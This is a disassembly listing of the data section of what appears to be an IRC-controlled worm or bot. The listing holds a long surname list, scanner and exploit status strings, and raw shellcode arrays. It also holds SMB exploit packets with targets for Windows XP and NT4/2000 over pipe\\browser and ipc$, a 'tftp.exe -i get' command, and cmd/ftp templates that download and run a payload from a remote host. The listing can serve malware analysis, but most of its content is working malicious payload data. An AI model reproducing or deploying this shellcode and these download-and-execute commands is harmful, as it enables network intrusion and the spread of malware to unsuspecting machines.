.data:0042DE74o align 4 aBernston db 'Bernston',0 ; DATA XREF: .data:0042DE70o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: .data:0042DE6Co align 10h aBernardo db 'Bernardo',0 ; DATA XREF: .data:0042DE68o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:0042DE64o align 4 aBergson db 'Bergson',0 ; DATA XREF: .data:0042DE60o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:0042DE5Co align 4 aBelloc db 'Belloc',0 ; DATA XREF: .data:0042DE58o align 4 aBellini db 'Bellini',0 ; DATA XREF: .data:0042DE54o aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:0042DE50o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: .data:0042DE4Co align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:0042DE48o align 4 aBelfer db 'Belfer',0 ; DATA XREF: .data:0042DE44o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:0042DE40o align 10h aBelanger db 'Belanger',0 ; DATA XREF: .data:0042DE3Co align 4 aBehenna db 'Behenna',0 ; DATA XREF: .data:0042DE38o aBedford db 'Bedford',0 ; DATA XREF: .data:0042DE34o aBeder db 'Beder',0 ; DATA XREF: .data:0042DE30o align 4 aBeckman db 'Beckman',0 ; DATA XREF: .data:0042DE2Co aBean db 'Bean',0 ; DATA XREF: .data:0042DE28o align 4 aBeal db 'Beal',0 ; DATA XREF: .data:0042DE24o align 4 aBeacon db 'Beacon',0 ; DATA XREF: .data:0042DE20o align 4 aBayo db 'Bayo',0 ; DATA XREF: .data:0042DE1Co align 4 aBayles db 'Bayles',0 ; DATA XREF: .data:0042DE18o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: .data:0042DE14o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: .data:0042DE10o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .data:0042DE0Co align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: .data:0042DE08o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: .data:0042DE04o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: .data:0042DE00o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:0042DDFCo aBarry db 'Barry',0 ; DATA XREF: .data:0042DDF8o align 4 aBarriola db 'Barriola',0 ; DATA XREF: .data:0042DDF4o align 4 aBarnett db 'Barnett',0 ; DATA XREF: .data:0042DDF0o aBarneson db 'Barneson',0 ; DATA XREF: .data:0042DDECo align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: .data:0042DDE8o align 4 aBarberi db 'Barberi',0 ; DATA XREF: .data:0042DDE4o aBaranowska db 'Baranowska',0 ; DATA XREF: .data:0042DDE0o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: .data:0042DDDCo align 4 aBarajas db 'Barajas',0 ; DATA XREF: .data:0042DDD8o aBarabesi db 'Barabesi',0 ; DATA XREF: .data:0042DDD4o align 4 aBanta db 'Banta',0 ; DATA XREF: .data:0042DDD0o align 4 aBaltz db 'Baltz',0 ; DATA XREF: .data:0042DDCCo align 4 aBallew db 'Ballew',0 ; DATA XREF: .data:0042DDC8o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: .data:0042DDC4o align 10h aBaleja db 'Baleja',0 ; DATA XREF: .data:0042DDC0o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:0042DDBCo align 4 aBailar db 'Bailar',0 ; DATA XREF: .data:0042DDB8o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: .data:0042DDB4o aBaglivo db 'Baglivo',0 ; DATA XREF: .data:0042DDB0o aBady db 'Bady',0 ; DATA XREF: .data:0042DDACo align 4 aBackus db 'Backus',0 ; DATA XREF: .data:0042DDA8o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:0042DDA4o align 4 aAzima db 'Azima',0 ; DATA XREF: .data:0042DDA0o align 10h aAyling db 'Ayling',0 ; DATA XREF: .data:0042DD9Co align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:0042DD98o aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:0042DD94o aAxworthy db 'Axworthy',0 ; DATA XREF: .data:0042DD90o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: .data:0042DD8Co aAurelius db 'Aurelius',0 ; DATA XREF: .data:0042DD88o align 4 aAugustus db 'Augustus',0 ; DATA XREF: .data:0042DD84o align 4 aAtkins db 'Atkins',0 ; DATA XREF: .data:0042DD80o align 4 aArky db 'Arky',0 ; DATA XREF: .data:0042DD7Co align 4 aArjas db 'Arjas',0 ; DATA XREF: .data:0042DD78o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .data:0042DD74o align 4 aArellano db 'Arellano',0 ; DATA XREF: .data:0042DD70o align 4 aArduini db 'Arduini',0 ; DATA XREF: .data:0042DD6Co aArbia db 'Arbia',0 ; DATA XREF: .data:0042DD68o align 4 aAntos db 'Antos',0 ; DATA XREF: .data:0042DD64o align 4 aAnthony db 'Anthony',0 ; DATA XREF: .data:0042DD60o aAnsley db 'Ansley',0 ; DATA XREF: .data:0042DD5Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:0042DD58o align 4 aAndron db 'Andron',0 ; DATA XREF: .data:0042DD54o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: .data:0042DD50o align 4 aAndo db 'Ando',0 ; DATA XREF: .data:0042DD4Co align 4 aAndel db 'Andel',0 ; DATA XREF: .data:0042DD48o align 4 aAnand db 'Anand',0 ; DATA XREF: .data:0042DD44o align 4 aAmsden db 'Amsden',0 ; DATA XREF: .data:0042DD40o align 4 aAmeer db 'Ameer',0 ; DATA XREF: .data:0042DD3Co align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:0042DD38o align 10h aAmaral db 'Amaral',0 ; DATA XREF: .data:0042DD34o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:0042DD30o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: .data:0042DD2Co aAltavilla db 'Altavilla',0 ; DATA XREF: .data:0042DD28o align 4 aAlongi db 'Alongi',0 ; DATA XREF: .data:0042DD24o align 4 aAllison db 'Allison',0 ; DATA XREF: .data:0042DD20o aAleks db 'Aleks',0 ; DATA XREF: .data:0042DD1Co align 4 aAlda db 'Alda',0 ; DATA XREF: .data:0042DD18o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: .data:0042DD14o align 4 aAlavi db 'Alavi',0 ; DATA XREF: .data:0042DD10o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: .data:0042DD0Co align 4 aAdorno db 'Adorno',0 ; DATA XREF: .data:0042DD08o align 4 aAdibe db 'Adibe',0 ; DATA XREF: .data:0042DD04o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: .data:0042DD00o align 10h aAddison db 'Addison',0 ; DATA XREF: .data:off_42DCFCo aAdams db 'Adams',0 ; DATA XREF: .data:0042DCF8o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: .data:0042DCF4o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_42DCF0o align 4 byte_431948 db 50h ; DATA XREF: .text:0040ADF0o ; .text:0040ADFDr db 43h, 2 dup(0) dword_43194C dd 7C7325h ; DATA XREF: .text:0040AE9Bo aS_0 db '[%s]|',0 ; DATA XREF: .text:0040AFA5o align 4 a??? db '???',0 ; DATA XREF: .text:loc_40AF9Co ; sub_41AA43:loc_41AB06o a2k3 db '2K3',0 ; DATA XREF: .text:0040AF95o aXp db 'XP',0 ; DATA XREF: .text:0040AF87o ; sub_41AA43+AAo align 4 a2k db '2K',0 ; DATA XREF: .text:0040AF77o ; sub_41AA43+98o align 4 aMe_0 db 'ME',0 ; DATA XREF: .text:0040AF5Eo ; sub_41AA43+7Eo align 4 a98 db '98',0 ; DATA XREF: .text:0040AF4Eo ; sub_41AA43+6Co align 10h aNt_0 db 'NT',0 ; DATA XREF: .text:0040AF3Eo ; sub_41AA43+5Ao align 4 a95 db '95',0 ; DATA XREF: .text:0040AF30o ; sub_41AA43+46o align 4 ; char aDS[] aDS db '[%d]%s',0 ; DATA XREF: sub_40AFEB+3Ao align 10h ; char aM[] aM db '[M]',0 ; DATA XREF: sub_40AFEB+2Co ; sub_40AFEB+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEB+18o ; sub_418212+5o align 4 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh, 0FFFFB966h, 0FF0E7380h dd 0F9E243h, 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh, 7380FFB1h dd 0E243FF0Ch, 0F9h, 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h dd 9EB0840h, 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h dd 8B784803h, 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h dd 7981100Ch, 7373650Ah, 8B027541h, 3798133h, 72685474h dd 3B8B0275h, 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h dd 0E857FA03h, 12h aTftp_exeIGet db 'tftp.exe -i get ',0 aJ_0 db 'j',0 dd 17E8h, 0C3017500h, 1E8h, 6A0000h, 7E8h, 0ED840F00h dd 0C3FFFFFFh, 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h dd 44B0AAF3h, 515257ABh, 6A286A51h, 55515101h, 83D6FF53h dd 0C08554C4h, 0C3h dword_431A80 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: sub_40B1B4+10o ; char aSNoSThreadFoun[] aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o align 4 ; char aSSStopped_DThr[] aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o align 8 aSym db 'sym',0 ; DATA XREF: sub_40C125+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DB+30o align 4 dd 5 dup(0) dword_431B00 dd 0B97h ; DATA XREF: sub_401ACD+1DA1r ; sub_401ACD+1DCAo ... off_431B04 dd offset sub_40E0D1 ; DATA XREF: sub_40C125+1EAr dword_431B08 dd 0 ; DATA XREF: sub_40B64B+2Eo ; .text:0040D496w ... dword_431B0C dd 1 ; DATA XREF: sub_40BACE+1Fr dword_431B10 dd 1 ; DATA XREF: sub_40BACE+3B3r dword_431B14 dd 0 ; DATA XREF: sub_40BACE+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E207h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Fh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 10h dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Fh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 10h dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2DAh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 10h dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2DAh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2DAh, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 10h db 2 dup(0) byte_431CE2 db 1 ; DATA XREF: sub_401ACD:loc_4037E7r ; sub_401ACD+1D24o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh dd 99h ; char aTotalDInS_[] aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o align 10h ; char asc_431E90[] asc_431E90 db ' ' ; DATA XREF: sub_40B64B+46o db 3, 37h, 25h dd 203A0373h, 2C6425h ; char asc_431E9C[] asc_431E9C db '-' ; DATA XREF: sub_40B64B+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 ; char asc_431EBC[] asc_431EBC db '-' ; DATA XREF: sub_40B71A+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 ; char asc_431F04[] asc_431F04 db '-' ; DATA XREF: sub_40B786+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h ; char aScanTimeS_[] aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DB+7Fo ; char asc_431F40[] asc_431F40 db ' ' ; DATA XREF: sub_40B7DB+40o db 3, 37h, 25h dd 28200373h, 73253403h, 2C2903h ; char asc_431F50[] asc_431F50 db '-' ; DATA XREF: sub_40B7DB+14o db 3, 34h, 2 dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch dd 3Ah ; char asc_431F6C[] asc_431F6C db '-' ; DATA XREF: sub_40B8A2+172o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 ; char asc_431FA0[] asc_431FA0 db '-' ; DATA XREF: sub_40B8A2+80o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h ; char asc_431FD0[] asc_431FD0 db '-' ; DATA XREF: sub_40BA57+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h ; char asc_431FF0[] asc_431FF0 db '-' ; DATA XREF: sub_40BA57+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 ; char asc_43200C[] asc_43200C db '-' ; DATA XREF: sub_40BACE+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 10h ; char asc_432040[] asc_432040 db '-' ; DATA XREF: sub_40BACE+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 ; char asc_432078[] asc_432078 db '-' ; DATA XREF: sub_40BACE+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 ; char asc_4320A8[] asc_4320A8 db '-' ; DATA XREF: sub_40BACE+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 ; char asc_4320DC[] asc_4320DC db '-' ; DATA XREF: sub_40BACE+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h ; char asc_432110[] asc_432110 db '-' ; DATA XREF: sub_40BACE+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 ; char asc_432144[] asc_432144 db '-' ; DATA XREF: sub_40C125+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 ; char asc_43216C[] asc_43216C db '-' ; DATA XREF: sub_40C125+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; char asc_4321A4[] asc_4321A4 db '-' ; DATA XREF: sub_40C33D+1CEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 ; char asc_4321E4[] asc_4321E4 db '-' ; DATA XREF: sub_40C33D+173o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 ; char asc_43221C[] asc_43221C db '-' ; DATA XREF: sub_40C33D+103o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 ; char asc_432250[] asc_432250 db '-' ; DATA XREF: sub_40C33D+87o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 ; char asc_432284[] asc_432284 db '-' ; DATA XREF: sub_40C59C+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 ; char asc_4322AC[] asc_4322AC db '-' ; DATA XREF: sub_40C669+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 ; char asc_4322D4[] asc_4322D4 db '-' ; DATA XREF: sub_40C75A+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h ; char asc_432300[] asc_432300 db '-' ; DATA XREF: sub_40C75A+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADB+B2o align 4 dword_432338 dd 10FF8h, 0 ; DATA XREF: sub_40CADB+6Ao dword_432340 dd 10FF8h ; DATA XREF: sub_40CADB+79o dword_432344 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADB+162o dword_43234C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF05+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_4323D4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF05+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_432404 dd 0 ; DATA XREF: sub_40CF05+44o dd 800000D4h, 0 unk_432410 db 81h ; ; DATA XREF: sub_40CFDF+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_43245C db 41h ; DATA XREF: sub_40D07D+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h aSvwfbA db 'SVWfì€',0 ; DATA XREF: .text:0040D35Co aIcsa db '‰æèí',0 db 2 dup(0), 0FFh dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0 dword_432608 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh ; DATA XREF: .text:0040D30Ao dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh ; char dword_432698[] dword_432698 dd 60h ; DATA XREF: sub_40CADB+320o ; char dword_43269C[] dword_43269C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o ; char dword_4326A8[] dword_4326A8 dd 30h ; DATA XREF: sub_40CADB+2CAo ; char dword_4326AC[] dword_4326AC dd 0A1h ; DATA XREF: sub_40CADB+29Fo dword_4326B0 dd 3 ; DATA XREF: sub_40CADB+246o ; char aCccc[] aCccc db 'CCCC',0 ; DATA XREF: sub_40CADB+153o align 4 ; char dword_4326BC[] dword_4326BC dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40CADB+E8o aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .text:0040D331o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_432730 dd 0E983C933h, 0D9EED9AFh, 5BF42474h, 0BB137381h, 836AD31Eh ; DATA XREF: sub_40D99C+2B0o dd 0F4E2FCEBh, 25387447h, 952CE753h, 6587E44h, 2F583A9Fh dd 6FAF9587h, 0E13C1FC3h, 355806F4h, 89381F9Bh, 5E58578Bh dd 5B3D1F30h, 0EE7F877Bh, 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h dd 89A6369Fh, 6BF74130h, 66587850h, 768C95F0h, 46D0F5BAh dd 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh, 0C7CF6E30h dd 34DB5E30h, 649D90D3h, 0BC2C4E57h, 39B5C58Ah, 58E076DDh dd 58A069D3h, 0BA2C4AE4h, 963ED5D3h, 0BC2C4E80h, 0C3697E4h dd 68DBF33Ah, 95D174EEh, 630A766Bh, 9584B34Eh, 39804D6Dh dd 39904DE8h, 0BA2C4DF8h, 0FD376DDh, 8B5A4DDDh, 7077762Eh dd 9584D9CBh, 3BC3746Dh, 203E1EEh, 83FDB31Fh, 3905E1ECh dd 203E1EEh, 2355575Eh, 3A05E1ECh, 95864AEFh, 8DBB8D6Bh dd 3DAAD8C2h, 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h dd 0E31F37E2h, 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h dd 0C1EB6436h, 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h dd 6BB94FEAh, 3B864FEAh, 0C7BBCE44h, 391D1B62h, 95B9C844h dd 0BA2C2944h, 0E92F4930h, 0BC2C7A7Fh, 203E1E9h, 0A33D054h dd 9505E1E8h, 6AD31E6Bh, 0 dword_432890 dd 0EFFFC481h, 44FFFFh, 4328DCh ; DATA XREF: sub_40D99C+297o dword_43289C dd 42Ah ; DATA XREF: sub_40D99C+24Ar dword_4328A0 dd 3E8h ; DATA XREF: sub_40D99C+2BBr dword_4328A4 dd 258h ; DATA XREF: sub_40D99C+28Dr byte_4328A8 db 1 ; DATA XREF: sub_40D99C+1F6r ; sub_40D99C+2C4r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4328C0 dd 20804h ; DATA XREF: sub_40D8A0r ; sub_40D99C+2E2o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:004328ACo align 4 aWindowsNt42000 db 'Windows NT4, 2000 (SP0-SP4)',0 dword_4328F8 dd 2EBh, 0 ; DATA XREF: sub_40D99C+21Eo dword_432900 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40D99C+14Eo dword_432914 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40D99C+F2o ; char aSPipeBrowser[] aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D99C+81o align 4 ; char aSIpc[] aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D99C+33o align 4 ; char aCmdCEchoOpen_0[] aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DEA1+92o ; sub_40DFE3+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4329BC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 